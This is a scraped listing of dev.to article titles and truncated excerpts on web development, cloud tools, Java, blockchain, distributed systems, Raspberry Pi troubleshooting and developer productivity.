    Build a Fullstack Stock Portfolio Agent with Mastra and AG-UI Bonnie for CopilotKit ・ Jul 30 #webdev #programming #opensource #ai  ( 3 min )
    Why Amazon S3 Is Ideal for Cloud Data Storage
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    Introducing BLEEP: The Quantum-Secure, AI-Native, Self-Healing Blockchain
    Hi Devs I’m Muhammad Attahir, founder of BLEEP—a new blockchain protocol built from scratch to fix what’s broken in Web3. What is BLEEP? BLEEP is a quantum-secure, AI-native, self-healing blockchain designed to solve the biggest challenges plaguing existing networks: 🐢 Slow, expensive chains → BLEEP uses adaptive consensus with smart sharding. 🧠 No intelligence layer → BLEEP integrates AI directly into the chain for predictive, autonomous operations. 🔐 Security gaps → We use quantum-resistant cryptography (SPHINCS+, Falcon, Kyber). 🗳️ Governance deadlocks → BLEEP features a self-amending governance model powered by ZK voting and modular rulesets. 🦀 Rust + FRAME ⚙️ WebAssembly (WASM) VM with gas metering and AI model execution 🧾 ZKP protocols (Groth16, Bulletproofs) 🧩 AI-powered sharding + load balancing 🔗 Native cross-chain interoperability and encrypted messaging 🔁 Self-healing network core 🧬 Modular architecture 🧠 On-chain AI inference for real-world automation 🔐 Quantum-resistance by design ⚖️ Hybrid consensus + quadratic governance 📦 PATs (Programmable Asset Tokens) 🛠️ Dev-first tooling and open infrastructure BLEEP is early, but the core is live and rapidly evolving. We’re calling on the open source community to help shape it. We’re looking for: 🧠 Rust/Substrate developers 🔐 ZK and cryptography engineers 💡 Smart contract devs (BLEEPpat framework) 🧪 Testers, reviewers, and bug-hunters 📚 Docs & CLI tool builders 🎨 UI/UX contributors for the Super App 🌐 Website: www.bleepecosystem.com 💻 GitHub: github.com/BleepEcosystem/BLEEP-V1 💬 Discord: BLEEP Community - 🐦 Twitter/X: @Bleepecosystem Let’s build the blockchain the future needs—not just another chain. Drop a comment if you’re curious, want to contribute, or want to follow along. Thanks for reading 🙏 — Muhammad  ( 4 min )
    Day 50: When College Systems Work Against Students
    Another morning started with my relationship with the alarm clock ending in betrayal, but somehow this turned into a more productive day than usual. I spent my lectures doing some strategic reconnaissance - figuring out which professors allow laptops, which ones you should actually pay attention to, and which ones fall into the deadly combo of being both unhelpful AND laptop-hostile. It's like creating a survival guide for navigating college bureaucracy. Here's where it gets interesting: I've been analyzing professor behavior, thinking about building connections for future opportunities, but I've never actually had a conversation with any of them. The irony isn't lost on me - I'm strategizing social interactions while actively avoiding them. There's something about academic hierarchies that makes casual conversation feel impossible. Maybe it's the fear of saying something wrong, or maybe it's just years of conditioning to see professors as untouchable figures rather than regular humans. At 4pm, I faced the classic student dilemma: go back to the room for snacks and return to the library by 5, or study for 1.5 hours straight and call it a day. I chose the "productive" option and discovered the library closes at 6pm. The reading section stays packed like people are fighting for concert tickets, and I'm left wondering what exactly these fees are paying for. My options have become: wake up at 4am to secure a seat, or deal with hotel wifi that seems personally offended by my attempts to be productive. College isn't just about academics - it's about navigating systems that seem designed to test your persistence more than your intelligence. The real skill becomes figuring out how to succeed despite the infrastructure, not because of it. Maybe that's the lesson they don't put in the syllabus.  ( 5 min )
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    Building 2048 with ArkTS 2
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    Build a Fullstack Stock Portfolio Agent with Mastra and AG-UI
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    Before satrt
    **Before writing or touching any code, follow this deep analysis and design-driven checklist to ensure performance, maintainability, and scalability.** --- ### 🔍 **1️⃣ Plan for Code Quality & Readability** - Define clear, descriptive naming conventions for all variables, functions, and components. - Outline logical code organization: structure files, folders, and responsibilities upfront. - Sketch the intended flow to avoid large monolithic functions. - Think in **composable, readable units** — every block should tell a story. --- ### ⚙️ **2️⃣ Optimize for Performance** - Consider time/space complexity **before** implementing. - Choose optimal data structures and algorithms **ahead of time** based on expected input size. - Avoid premature computation or state updates — plan fo…  ( 6 min )
    daboard3
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    Dashboard2
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    Dashboard 1
    import streamlit as st import pandas as pd import json from datetime import datetime # Configure page st.set_page_config( page_title="Snowflake Query Optimizer", page_icon="❄️", layout="wide", initial_sidebar_state="collapsed" ) # Enhanced CSS for modern UI with proper table styling st.markdown(""" /* Import Google Fonts */ @import url('https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap'); /* Reset and base styles */ .main { padding: 1rem 2rem; font-family: 'Inter', sans-serif; background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%); min-height: 100vh; } /* Header with glassmorphism effect */ .header-container { background: rgba(255, 255, 255, 0.25); …  ( 13 min )
    React vs. Svelte: An Unbiased Look for New Developers in 2025
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    🚀 How to Use FlyonUI Block with AI Tools?
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    Developing Modules for Puppet and the Forge in 2025
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    The AI Debugger That Understands My Stack Better Than I Do
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    SQL IQ – Advanced SQL Interview Queries Search and Prep System
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    “Getting Started with Solidity for Beginners” “My Journey into Web3 Development”
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    Understanding JAVA Interfaces
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    《Hotspot Event Analysis tool》--developed based on the LLM-enhanced approach
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    🔧 Bitcoin Mining in 2025: Industrial Scale, Shrinking Margins, and a New Class of Players
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    Top 7 AI Headshot Generators (Tested & Compared)
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    First Thoughts on Azure vs Aws as a young dev
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    Why Are More Projects Embracing Hybrid Development?
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    Mastering Dynamic SQL Operations with the Strategy Pattern: Generate and Execute Commands Across Databases in C#
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    Building MCP Servers for Any Language (including Kotlin / Ruby / Rust / Java / Go / Typescript / Python / Swift / C# Based MCPs)
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    Getting Started - Web Enumeration Walkthrough (Hack The Box)
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    🧱 Terraform Plan Files and Outputs (And Why They're Like Blueprints and Receipts for Your Cloud)
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    Go4customer provides reliable toll free services, enabling businesses to offer customers a cost-free and seamless way to connect. Read more at, https://go4customer.com/toll-free-service
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    The Two Generals’ Problem: A Fundamental Communication Paradox
    The Two Generals' Problem is a classic paradox in computer science that exposes a harsh truth about communication in distributed systems: you can never guarantee coordination over an unreliable channel. Two generals are stationed on opposite sides of a valley. They must attack a city at the same time to succeed. Their only means of communication is through messengers who risk being intercepted. General A sends: “Attack at dawn.” General B receives it and replies: “Acknowledged.” General A now wonders: “Did B’s acknowledgment get through?” This cycle leads to an infinite regress of uncertainty—each message needs an acknowledgment, which itself needs acknowledgment, and so on. There's no finite sequence of messages that guarantees both parties are absolutely sure the other is ready. This isn’t just a thought experiment—it's a foundational impossibility in distributed systems: No protocol can ensure consensus over an unreliable, asynchronous channel. Even with message retries and timeouts, the possibility of message loss makes absolute certainty impossible. While unsolvable in theory, modern systems approximate reliability: TCP/IP handles retransmission and timeouts to minimize loss. Consensus algorithms (like Paxos or Raft) accept partial failures and aim for eventual consistency, not perfection. Practical systems are built with assumptions: bounded message delays, rare failures, and failover mechanisms. The paradox isn’t "solved"—it’s tolerated and abstracted away. Understanding the Two Generals’ Problem is crucial when designing systems like: Distributed databases Multiplayer games Microservices architectures Blockchain networks It forces a shift in mindset from perfect coordination to fault tolerance and resilience. The Two Generals’ Problem reminds us that some guarantees are theoretically impossible, and yet, systems still run the internet, power banks, and launch rockets. It’s not about solving the paradox. designing systems that succeed despite it.  ( 5 min )
    Announcing APISIX Integration with AI/ML API
    We're thrilled to announce that AI/ML API has become a supported provider to the ai-proxy, ai-proxy-multi, and ai-request-rewrite plugins in Apache APISIX. All the AI/ML APIs will be supported in the next APISIX version. AI/ML API is a single endpoint that gives you access to more than 300 ready-to-use AI models—large language models, embeddings, image and audio tools—through one standard REST interface. It is used by over 150,000 developers and organizations as a centralized LLM API gateway. We're thrilled to announce that AI/ML API has become a supported provider to the ai-proxy, ai-proxy-multi, and ai-request-rewrite plugins in Apache APISIX. AI/ML API provides a unified OpenAI-compatible API with access to 300+ LLMs such as GPT-4, Claude, Gemini, DeepSeek, and others. This integration …  ( 6 min )
    Introducing 2Perks: The collaborative perks platform for businesses
    As developers and founders, we're constantly exploring ways to help our products stand out, engage customers, and deliver more value. But offering additional perks and rewards can often be complex—especially for smaller startups or businesses without extensive resources. That's why we built 2Perks. 2Perks is a collaborative perks platform that enables businesses—especially startups, SaaS companies, agencies, and communities—to share exclusive offers, such as discounts, free trials, or credits, with each other's effortlessly. Without writing a single line of code, you can: Publish your own exclusive perks to gain visibility. Create a custom-branded perks page or embed perks directly within your application or website. Select perks from hundreds of businesses to reward your users. Moni…  ( 4 min )
    What to do if Raspberry Pi won’t boot?
    If your Raspberry Pi isn’t booting, follow these steps to diagnose and fix the issue: 1. Check Power Supply Issues (Most Common Cause) Symptoms No LED lights (or only a red LED). Random reboots or instability. Solutions Solid red = Power is good. Flickering/blinking red = Under-voltage (use a better power supply). ✅ Disconnect power-hungry peripherals (HDDs, USB devices) and retry. 2. Verify the SD Card (Second Most Common Issue) Symptoms Green LED flashes briefly but no boot. Corrupted OS or failed writes. Solutions Use Raspberry Pi Imager (Download) to flash a fresh OS. Select the correct model (Pi 3/4/5, Zero, etc.). If the Pi was improperly shut down, the file system may be corrupted. Try fsck on another Linux PC: bash sudo fsck /dev/sdX # Replace sdX with your SD card (e.g., …  ( 5 min )
    Build a Real-Time Stock Dashboard in 5 Minutes Using PulpMiner and Bolt
    I just built a real-time stock market dashboard in under 5 minutes — no scraping scripts, no backend boilerplate, and no client-side API calls. Here’s the stack I used: ✅ PulpMiner – Converts any public webpage into a structured JSON API using AI ⚡ Bolt.new – AI-powered dev tool to create backend+frontend+UI fast 🚀 Netlify – For 1-click deploys from Bolt 🔗 Live demo: https://superlative-choux-14a165.netlify.app/ A beautiful dashboard that shows live stock data for a selected symbol (Tesla, in this case) using a secure server-side call to the PulpMiner API — rendered instantly on the frontend using Bolt. To keep my API key safe and avoid exposing endpoints on the frontend, I ensured the API call happens entirely server-side. This is the request structure: curl -i \ -H "Content-Type: a…  ( 5 min )
    How to Manage Background Services with systemctl and systemd (with Celery Example)
    When deploying services like Celery, Gunicorn, Redis, etc., on a Linux server — you don’t want to manually start them every time your server reboots. That’s where systemd and systemctl come in. In this guide, I’ll explain how to: Understand what systemctl is Create a systemd service for something like Celery Use essential commands to manage any service Troubleshoot and view logs What is systemd and systemctl? systemd is the init system and service manager used by most modern Linux distributions. systemctl is the command-line tool to interact with systemd. It's used to start, stop, restart, enable (auto-start on boot), and debug services. When Do You Need a systemd Service? Celery worker Gunicorn for a Django/Flask app Background scripts Queues / job runners Redis / PostgreSQL / any server …  ( 5 min )
    How I Caught an MPESA API Leak Hiding in Plain Sight
    _ A while back, I picked up a Django consulting gig — nothing major, just helping out a startup that was panicking over something real bad: “Bro, someone’s draining our MPESA till via the Daraja API.” They kept rotating their consumer key and secret, but the money kept disappearing. It was like patching a leaking pipe without finding the hole. So they called me in. 🔍 The Setup python # settings.py DEBUG = True 🚨 Red flag. Big one. They were running production with Django’s debug mode on — which basically hands over your server's internals on a silver platter whenever something crashes. I started poking around and spotted something worse... 💀 The Leak Was Right There... python def index(request: HttpRequest) -> JsonResponse: consumer_secret = os.getenv("CONSUMER_SECRET") consume…  ( 5 min )
    Deploying a fastapi and celery app with docker
    I built an app in python using the fastapi and celery libraries and now I want to deploy it using docker on render or any other free hosting platform, both of them have to run as different services but my fastapi endpoint calls the celery task so I really cant use separate codebases for them, usually on my computer I would just run the command to start the celery app and the command to start the fastapi server What is the best way to deploy this application?  ( 4 min )
    AI-Driven SQL Dataset Optimization 202507: BIRD-Critic
    BIRD-CRITIC (a.k.a SWE-SQL), the first SQL diagnostic benchmark, is released to answer: Can large language models (LLMs) fix user issues in real-world database applications? The benchmark comprises 600 tasks for development and 200 held-out out-of-distribution (OOD) tests. BIRD-CRITIC 1.0 is built on realistic user issues across 4 prominent open-source SQL dialects: MySQL, PostgreSQL, SQL Server, and Oracle. It expands beyond simple SELECT queries to cover a wider range of SQL operations, reflecting actual application scenarios. Finally, an optimized execution-based evaluation environment is included for rigorous and efficient validation. Paper: https://arxiv.org/html/2506.18951v2 Leaderboard:https://bird-critic.github.io/ As a new benchmark for SQL debugging, BIRD-CRITIC's core data cons…  ( 5 min )
    Where There’s a Shell, There’s a Way – Tales from a Terminal Addict
    I used to think the terminal was just that black window that hackers used in movies. I’d open it, type ls, stare blankly at the output, and close it like I’d just entered a room I had no business being in. Fast forward to now — I live in the terminal. I write scripts that scan networks, exploit vulnerabilities, automate boring tasks, and sometimes, accidentally shut things down (yes, I’ve wiped /var without a backup — we’ve all been there). But one thing I’ve learned the hard way: If you know your way around the shell, you’re dangerous — in the best possible way. This is my journey through ethical hacking, DevSecOps, and shell scripting — told from behind the prompt. 👣 ** It All Started With a Ping...** nmap — to scan everything that breathed on the network. nc — to open mysterious ports …  ( 6 min )
    What the 2025 Stack Overflow Survey Tells Us About AI Developer Tools
    The 2025 Stack Overflow Developer Survey offers a window into how developers really feel about AI. Adoption of AI tools is booming, yet many coders remain cautious about trust, complexity and the parts of the workflow where AI is invited. This post pulls together the key points from the survey’s AI → Developer Tools section. The survey shows that almost everyone is using or at least planning to use AI in their work. About four out of five respondents said they use or plan to use AI tools, and more than half of professional developers use AI every day. Early‑career developers (those with 1–5 years of experience) are the most enthusiastic—over half of them reach for AI tools daily. Last year 35 percent of professional developers said AI struggled with complex tasks. This year that number has…  ( 7 min )
    What is Baby Grok? Elon Musk's Safe AI Chatbot for Kids?
    Baby Grok represents a significant shift in AI development, with Elon Musk's xAI aiming to create a version of their Grok chatbot that's tailored for children. This new tool focuses on providing age-appropriate, educational experiences while addressing past safety issues from the original Grok. Unlike the adult-oriented Grok, which gained attention for its unfiltered responses, Baby Grok promises a more controlled environment. It's designed to engage young users with fun, learning-based interactions that avoid risky content. xAI's Grok started as an innovative chatbot inspired by creative fiction, offering bold and candid answers. However, it faced backlash for exposing users to inappropriate topics. Baby Grok emerges as a direct response, evolving into a safer alternative built on the sam…  ( 5 min )
    Deploy Your First Web App with AWS App Runner: Fully Managed & Container-Ready
    Table of Contents What is AWS App Runner? Why Use App Runner? When to Use App Runner Pre-requisites Deployment Guide Observability & Scaling Pricing Overview Pros & Limitations Final Thoughts Further Reading AWS App Runner is a fully managed service that makes it easy to deploy containerized applications from your source code or container image. You don't need to manage servers, orchestration, or scaling logic—App Runner handles it all. Whether your app lives in a GitHub repo or a container registry (like Amazon ECR), App Runner can automatically build and deploy it, scaling up and down as needed. Compared to traditional services like EC2, ECS, or even Lambda, App Runner offers: 🛠️ Zero infrastructure management – No need to manage VPCs, load balancers, or clusters 🚀 Quick deployments…  ( 6 min )
    I Thought React Was Clean, Then I Tried Vue
    Why I Finally Gave Vue a Shot As a frontend developer who's spent a lot of time with React, learning Vue has always been on my bucket list. I finally got my hands on Vue recently and I want to share my experience, highlighting the differences, similarities, and surprises along the way. Learning and using Vue was easier than I expected. At one point I genuinely thought, “Man, they have it easy over here.” Vue’s simple yet functional nature is what I hope to share in this post. I applied for a job that required Vue, and given my strength in React, I was confident I could pick it up fast. The company had other plans, though, they required me to complete an assessment using Vue.js. That turned my casual interest into a hands-on crash course. My first hands-on experience with React was in 202…  ( 7 min )
    Dev Thought of the Day
    You don’t need 10 hours a day to build something meaningful. One focused hour daily can outperform burnout marathons. 🚀 Keep building. Keep learning. DevLife #BuildInPublic #CodeNewbie #100DaysOfCode #IndieHacker #DeveloperThoughts  ( 4 min )
    How AI Changed 3D Printing
    Artificial intelligence has fundamentally altered 3D printing, turning what was once a manual, hit-or-miss process into precise, automated manufacturing. Modern 3D printers with AI can now spot potential failures before they happen, adjust settings during production, and optimize designs for better performance while using materials more efficiently. We are still in the early phase of this, but like we have seen with many other types of AI related stuff, things move really quick in this niche. Machine learning allows 3D printers to learn from past jobs, steadily improving their accuracy and speed. These systems analyze layer adhesion, catch warping problems, and adjust printing parameters without human input. AI software can also create complex shapes that would be impossible to design by h…  ( 7 min )
    From React to the Canvas: My First Creative Build with React Konva
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. 🚀 Why I Joined That’s when I decided to explore React Konva, a canvas-based drawing and interaction library for React. 🎨 The Project: A Visual Story Board Tool Add and move editable text Drag and drop elements freely Draw or sketch thoughts like in a notebook Build their layout naturally — without constraints React Konva let me bring this idea to life, with its component-based canvas rendering system. I used: Stage and Layer from React Konva to set up the canvas Rect, Text, and Group elements to create content blocks stageRef.getPointerPosition() to place and move elements Custom hooks and React state to handle selection, editing, and drag events 📚 What I Learned How Konva’s coordinate system works in sync with React Managing drag interactions and dynamic rendering Adding editable text nodes with double-click functionality Structuring canvas layers for performance and clarity It wasn’t always smooth — things like resizing, z-index stacking, or getting precise positions were tricky. But I was learning the whole time, and that’s what made it exciting. 💬 Beyond Code: My Favorite Part Even though I didn’t ask for help on Discord this time, I followed shared threads, GitHub issues, and code examples from others working on canvas-related projects. It reminded me that even solo builders are never truly alone — someone’s already solved a similar problem, and their experience helps us all move forward. 🌱 What’s Next Beyond the project, this experience showed me that creative tools are where I feel most inspired. I plan to keep exploring interactive UIs, especially ones that combine writing, sketching, and thinking spaces. ❤️ Final Reflection 🧰 Tech Stack React React Konva  ( 5 min )
    How I Automated My Photo Backup (So I Don’t Have to Pay for Cloud Storage or Manually Upload Every Time)
    You know that sinking feeling when your phone suddenly flashes, “Storage full!” again? Yup, I was there last week. My Google Drive told me it was full too. 🤦‍♂️ I had a cool 29 GB worth of photos and videos scattered between iCloud and Google Drive, but neither could hold much more. Plus, I wasn’t too keen on forking out ₹500+ every month just to buy more space from Apple or Google. Why pay for more when I can build my own? So here’s the story of how I became my own cloud hero — with a little API magic and iPhone shortcuts. Tons of photos/videos piling up No more free cloud storage Paying for extra storage? No, thanks 😅 Manually uploading? Nope, not gonna happen every time I built a custom API on my own server that acts like a gatekeeper for uploads. Here’s what it does: Takes my cred…  ( 5 min )
    You Should Literally Hire a Developer Marketing Agency
    If you’ve built a product for developers and you're relying on a non-tech marketer to grow it, I have bad news. You’re wasting time. Developer marketing is not the same as marketing to product managers, designers, or enterprise clients. Developers don’t care about your polished website, vague CTAs, or whitepapers stuffed with fluff. They care about what your tool does, how fast they can try it, and whether it actually solves a real problem. That’s where a developer marketing agency comes in, and here’s why hiring one (like Literally) might save you from burning months on campaigns that fall flat. You can’t throw money at devs and expect attention. They're naturally skeptical. They use ad blockers. They ignore your press release. And they will call you out on Hacker News if you sound like y…  ( 6 min )
    How Timeboxing Can Transform Your Productivity (and How to Do It with Super Productivity)
    In a 2018 Harvard Business Review article, Marc Zao-Sanders reported that timeboxing ranked as the most useful technique in a survey of 100 productivity methods1. But why does timeboxing work so well? And how can you start applying it with Super Productivity today? Let’s break down the science and look at simple, actionable strategies you can use immediately. At its core, timeboxing means assigning a fixed, pre-determined amount of time to a task – and sticking to it. Unlike traditional to-do lists, where tasks can sprawl endlessly, timeboxing imposes a healthy constraint that encourages focus and closure. This principle connects directly to Parkinson’s Law, famously stated in The Economist in 19552: "Work expands so as to fill the time available for its completion." By giving tasks delibe…  ( 7 min )
    AgentUp Plugin Validation
    I had a nasty issue in AgentUp where I used test as a plugin name, not thinking things through well, it's an internal package, so the entry points clashed. Put this in place as part of the plugin system rewrite underway! We now validate plugin names: No special characters (can lead to security issues) No std library packages If you're new to AgentUp, it's a cutting edge AI Agent framework under active development. If you want to follow along , please do and say hello in the comments! - if you're interested in learning more, jump on my Discord server and join in the fun. All levels of folks will be made to feel welcome and at home. Hi. I am Luke. I am software engineer of 20 years experience. I created the sigstore project, used and supported by Google and GitHub and I am former distinguished engineer, startup founder. I am now at RedDotRocket, where I have fun building software to address real world challenges!  ( 4 min )
    Insomnia vs. Postman: Which Tool Excels in API Documentation and Workflow?
    In today's interconnected digital landscape, APIs have become the invisible backbone of modern software development. With nearly every application relying on APIs for functionality, finding the right testing tool isn't just convenient—it's essential for your team's success. When developers search for the perfect API testing platform, two names consistently rise to the top: Insomnia and Postman. These powerful contenders approach similar challenges with distinct philosophies and feature sets that could dramatically impact your development process. But with so many overlapping capabilities, does your choice between them actually matter? And if it does, how can you determine which platform will truly elevate your team's productivity? At first glance, both Postman and Insomnia offer robust API…  ( 10 min )
    Day-69 Understanding Java Interfaces and the final Keyword
    What is an Interface? An interface in Java is not a class. It is a blueprint for a class, and it defines a set of abstract methods that any implementing class must override. Interface is not a class. All methods in an interface are abstract by default. They do not have a method body. An interface is 100% abstract and cannot have constructors. The implements keyword is used to inherit an interface, instead of extends. Interface methods cannot have objects. We must override all of its methods in another class. public interface OfficeRules { // Interface is not a class public void comeOnTime(); // Interface methods do not have a body public void getSalary(); // Interface methods are by default abstract public void takeLeave(); // An interface cannot contain a constructor } public class Employee1 implements OfficeRules { // Use "implements" to implement an interface public void comeOnTime() { System.out.println("10am"); // Must override all methods of the interface } public void getSalary() { // Implementation can be added here } public void takeLeave() { // Implementation can be added here } public static void main(String[] args) { Employee1 em = new Employee1(); em.comeOnTime(); } } The final keyword in Java is used to restrict modification. It can be applied to: Classes Methods Variables Parameters A final class cannot be inherited. A final method cannot be overridden in a subclass. A final variable’s value cannot be changed. A final parameter value cannot be modified inside the method.  ( 4 min )
    7 Ways Google NotebookLM Can Make Your Workday Smarter
    NotebookLM isn’t just another AI chatbot. Built by Google Labs and powered by Gemini, it’s focused on research assistance — designed to work with your content, not hallucinate it. Whether you’re in HR, product marketing, education, or operations, NotebookLM helps you speed up workflows, extract better insights, and simplify communication. Here are seven practical ways teams are already getting more done with it. Upload transcripts, internal notes, and summaries — and let NotebookLM: Highlight critical steps or action points Create organized overviews Build follow-up agendas Instead of letting meeting notes disappear into shared drives, NotebookLM makes them useful again. Also See: Google NotebookLM Ads Video AI Share a market research report, RFP response, or policy document — and ask: “Su…  ( 5 min )
    A guide to optimizing performance and security for MCP servers
    Modern enterprise systems and AI workloads depend heavily on stable, fast, and secure MCP (Model Context Protocol) servers. A robustly configured MCP server is the backbone of scalable ML/AI deployments, data pipelines, and high-performance computing. For organizations handling sensitive data or mission-critical operations, both performance and security tuning must be foundational—not optional—priorities. This extended guide delivers field-tested, advanced best practices, including technical recommendations, architecture blueprints, compliance measures, and emerging strategies to ensure your MCP servers deliver both peak efficiency and rigorous protection. MCP is a framework/standard for orchestrating AI/ML models and data processing tasks. It is often adopted in environments where rapid d…  ( 7 min )
    🔮 Top 5 Future-Proof Tech Skills Every Developer Should Learn
    🔮 Top 5 Future-Proof Tech Skills Every Developer Should Learn Stay relevant. Stay unstoppable. Technology evolves fast — but some skills stay evergreen, adapting and thriving in every era of change. Whether you’re just starting out or already deep in your dev journey, these 5 future-proof skills will keep you sharp, adaptable, and ahead of the curve. "Not just the future — it’s already the present." From recommendation engines to autonomous systems, AI is everywhere. Understanding how models learn, infer, and improve is a career supercharger. Even knowing how to use tools like TensorFlow, PyTorch, or OpenAI’s APIs puts you miles ahead. Why it matters: Powers automation, personalization, predictions Key to jobs in data science, AI dev, robotics AI integration is the backbone of smar…  ( 6 min )
    The Developer's Context Switch Tax: How to Minimize Mental Overhead
    I was knee-deep in debugging a nasty memory leak yesterday when my teammate pinged me about a deployment issue. "Just a quick question," he said. Famous last words, right? Forty-five minutes later, I'm back at my desk staring at the same stack trace, and my brain feels like it's running on dial-up internet. I know exactly what I was looking for before the interruption, but getting back into that debugging mindset? It's like trying to remember a dream after you've been awake for an hour. If this sounds familiar, welcome to the club nobody wants to join: developers paying the context switch tax. And trust me, it's expensive. Here's what nobody tells you in boot camp: the most challenging part of being a developer isn't learning new frameworks or debugging complex issues. It's managing your m…  ( 10 min )
    Take Control: Manage Hybrid Cloud Environment Using Azure Arc
    Managing a hybrid cloud environment has become increasingly challenging as businesses expand their digital presence. Today's organizations run workloads across on-premises data centers, multiple cloud platforms, and edge locations, creating governance, compliance, and consistency gaps. Azure Arc addresses these challenges by enabling seamless management and governance of hybrid resources as if they were native Azure assets. Azure Arc centralizes visibility and control across systems including Windows and Linux machines, Kubernetes clusters and on-premises databases, connecting them all into a unified view. This blog explores how Azure Arc simplifies hybrid cloud management, highlights its key capabilities, and explains why it’s an essential tool for enterprises operating across distribu…  ( 7 min )
    Best Translation Software for PC
    Want to find the best translation software for PC computers? Before you begin to sift through a long list of PC-supported CAT (Computer-Assisted Translation) tools and reviews, we’re going to help you familiarize yourself with the top features to look for in any CAT tool for PC (Windows, Android, etc). This post will help you with the process of elimination before you buy. You can browse as many PC translator software comparison charts, ratings and reviews as you want, but these won’t help you identify which technologies and characteristics are must-haves in translation software for PC, versus which ones are “extra” bells and whistles. In the end, each organization is going to have their own view of what their ideal translation app for PC looks like. But without nailing down the must-haves…  ( 11 min )
    bbb
    import json from datetime import datetime import ast import pandas as pd import plotly.express as px import plotly.graph_objects as go import streamlit as st from st_aggrid import AgGrid, GridOptionsBuilder, GridUpdateMode, DataReturnMode, JsCode from core.query_executor import query_executor from queries.QueryBuilder import QueryBuilder from queries.filter import CommonUI from queries.final_last import USER_360_QUERIES def create_snowflake_dashboard(df): # Custom CSS for enhanced styling st.markdown( """ .main-header { background: linear-gradient(135deg, #667eea 0%, #764ba2 50%, #667eea 100%); color: white; padding: 30px; border-radius: 15px; text-align: center; margin-bottom: 3…  ( 10 min )
    Build a Local Server to Sync Your Contacts and Calendars
    Your Data – Your Place As an open-source user, I wanted to store my contacts and calendar data locally. However, I also needed real-time syncing. After some research, I found an open-source package called "Radicale". It's a lightweight application that runs from the command line. I also discovered an open-source Android app called "DAVx⁵", available on the F-Droid store, which can be used to sync mobile contacts and calendars with a Radicale server. Let’s take a look at how I use Radicale to sync my data. I’ve created a script to automate the installation of Radicale on Debian-based distributions. #!/bin/bash # Abort on errors set -e echo "📦 Installing Radicale..." sudo apt install -y radicale echo "🛠️ Setting up Radicale config..." CONFIG_DIR="$HOME/.config/radicale" mkdir -p "$CONF…  ( 5 min )
    Halloween Costume Idea Generator
    This post is my submission for DEV Education Track: Build Apps with Google AI Studio. An app to generate ideas for halloween costumes, and save them. You can chat with AI to tweak them to your liking and control the number of images it generates. There is a social aspect (to be fully integrated later) that allows users to favorite other users ideas in a ranking style. While using the AI prompter to create the app, It struggled with adding images and was not great at adding logos on the fly. I realized this would have to be added later outside of the interface as it is not supported. Adding a backend on the fly is also not supported. Easy to add buttons, pages, and simple functionality. Overall a great experience and fun to play with for making a quick app idea. Link: Halloween Costume Generator  ( 4 min )
    From Gaming to AI: Why DDR Frequency Matters More Than You Think
    Imagine this: in the middle of an intense esports match, your game suddenly lags, or while editing a high-definition video, your software fails to respond. Have you ever considered that one of the key factors affecting these experiences might be memory frequency? From everyday office tasks to high-performance computing, DDR memory frequency plays a crucial role in determining your system's performance. So, how exactly does it impact performance? Does higher frequency really mean faster speeds? Today, let's uncover the mysteries of DDR frequency. What is DDR Frequency? Evolution of Frequency: From DDR3 to DDR5 The introduction of DDR4 memory marked a significant leap in memory technology. DDR4 typically operates within the frequency range of 2133MHz to 3200MHz and beyond. Compared to…  ( 6 min )
    new22
    import json from datetime import datetime import pandas as pd import plotly.express as px import plotly.graph_objects as go import streamlit as st from core.query_executor import query_executor from queries.QueryBuilder import QueryBuilder from queries.filter import CommonUI from queries.final_last import USER_360_QUERIES def create_snowflake_dashboard(df): # Page configuration # st.set_page_config( # page_title="Snowflake Query Analytics", # page_icon="❄️", # layout="wide", # initial_sidebar_state="expanded", # ) # Custom CSS for better styling st.markdown( """ .main-header { background: linear-gradient(90deg, #667eea 0%, #764ba2 100%); color: white; padding: 20px; …  ( 9 min )
    🤖 FSM in my program
    🤖 FSM in my program Back to my bot. What I want is for the FSM to be able to connect to the whole system — basically, to conduct and coordinate everything. To do that, I need to implement this approach into almost every package — which basically means rewriting the old version of the program under a new principle. But I’m used to this — I’ve probably rewritten this bot already for the third time. And every time, the bot becomes more and more like a human brain, and the code gets better and better — and that truly brings joy to a developer. 📐 What is FSM (in simple terms) If you’re still reading, I’ll quickly explain what a finite state machine actually is, from the perspective of math and programming, and why it’s so fascinating. A finite state machine is an abstract model that can…  ( 6 min )
    Exploring Terramate Cloud part 2 – A walkthrough
    Introduction In the first part of this two-part blog post we covered the basic setup to use Terramate Cloud. In this second part we take a closer look at the Terramate Cloud offering per se. Let us jump right in. Terramate Cloud is a SaaS offering that complements the Terramate CLI with features like monitoring of your stacks. As we already onboarded three stacks we explore the different sections that are offered by Terramate Cloud and test the setup for configuration drifts and changes in the deployments. The first thing you see once logged into Terramate Cloud is the “Your ‘Homework’” section that gives you a crisp overview about your setup and its state: Usually when exploring new software, you first must get used to the wording and the semantics that the solution introduces. That…  ( 13 min )
    Exploring Terramate Cloud part 1 – Getting things set up
    Introduction Exploring Terramate Cloud was on my to do list for a while now. The latest updates of Terramate Cloud about DORA metrics and integration of some AI explain features reminded me of that. A good time to get this thing done. This is a two parted blog post. The first part you are currently reading is about getting the basic setup for using Terramate Cloud in place. The second part is about how Terramate Cloud itself and what it brings to the table. I have already written some blog posts about the Terramate CLI and how it can support you with challenges in your day-to-day work with Infrastructure as Code (IaC), in my case Terraform/OpenTofu. The CLI is open source and free of charge. In my opinion it is a very useful tool with some smart concepts and can help you with some chall…  ( 8 min )
    Open Source
    A post by fabrizius_schloss  ( 3 min )
    Introduction to Java Packages and Access Modifiers
    Understanding how to organize and protect your code is vital to writing robust Java programs. That’s where packages and access modifiers come into play. With these tools, you’ll ensure your classes are neatly arranged and sensitive parts of your code are accessible only where you want. A package in Java is essentially a folder that contains related classes, interfaces, and sub-packages. Packages help organize your code, prevent naming conflicts, and control access to classes. Organize code into logical groups (e.g., utils, models, controllers) Avoid naming clashes if two classes have the same name in different packages Manage access between classes At the very top of your Java file, use: java package mypackage; Now, to use a class from another package, you import it: java import mypackage…  ( 6 min )
    Claude Code’s Custom Agent Framework Changes Everything
    Claude Code has quickly become a favorite for many thanks to its clean and efficient AI coding assistance from Anthropic. But if you look beyond the surface, there’s something even more impressive a custom agent framework designed to handle complex, real-world AI workflows that businesses need today. Since its introduction after version 1.0.52, this feature has quietly changed the game. When set up right, Claude Code isn’t just a helpful assistant it becomes a powerful platform where multiple specialized AI agents work together. It breaks down tough problems into manageable parts, sends those pieces to the best-suited agents, and then brings everything back together into a clear, useful answer. In this article, I’ll take you through how this system works and why it’s a big deal, especially…  ( 8 min )
    [Boost]
